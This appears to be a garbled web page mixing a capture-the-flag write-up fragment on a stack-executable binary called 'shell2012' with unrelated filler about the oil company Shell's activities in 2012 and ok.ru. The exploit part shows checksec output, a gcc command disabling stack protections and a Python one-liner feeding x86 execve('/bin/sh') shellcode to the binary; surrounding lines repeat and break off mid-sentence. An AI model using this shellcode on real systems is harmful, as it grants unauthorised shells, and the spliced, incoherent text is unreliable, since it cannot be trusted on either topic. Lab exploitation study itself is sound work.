Running file on the binary:
$ file shell2012
shell2012: ELF 32-bit LSB executable, Intel 80386, dynamically linked, stripped
Check protections with checksec:
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
✔ No NX → shellcode in stack/data is executable.
✔ No canary → easy buffer overflow. shell 2012 ok.ru
In conclusion, Shell's activities in 2012 were marked by both significant operational achievements and challenges. The company's efforts to innovate and expand its global presence were notable, but so too were the environmental and social challenges it faced. Engagement with stakeholders, through traditional means and social media platforms like ok.ru, became increasingly important for Shell as it navigated these complex issues.
The challenge provided a simple vulnerable binary that reads input into a small buffer and executes it without proper sanitization — classic shellcode injection. Running file on the binary: $ file shell2012
Compile a test version:
gcc -z execstack -fno-stack-protector -o shell2012 shell2012.c
Run with:
python2 -c 'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")' | ./shell2012
Outputs $ shell.
"Shell" is an ambiguous word. In media, it could refer to: Check protections with checksec : RELRO: Partial RELRO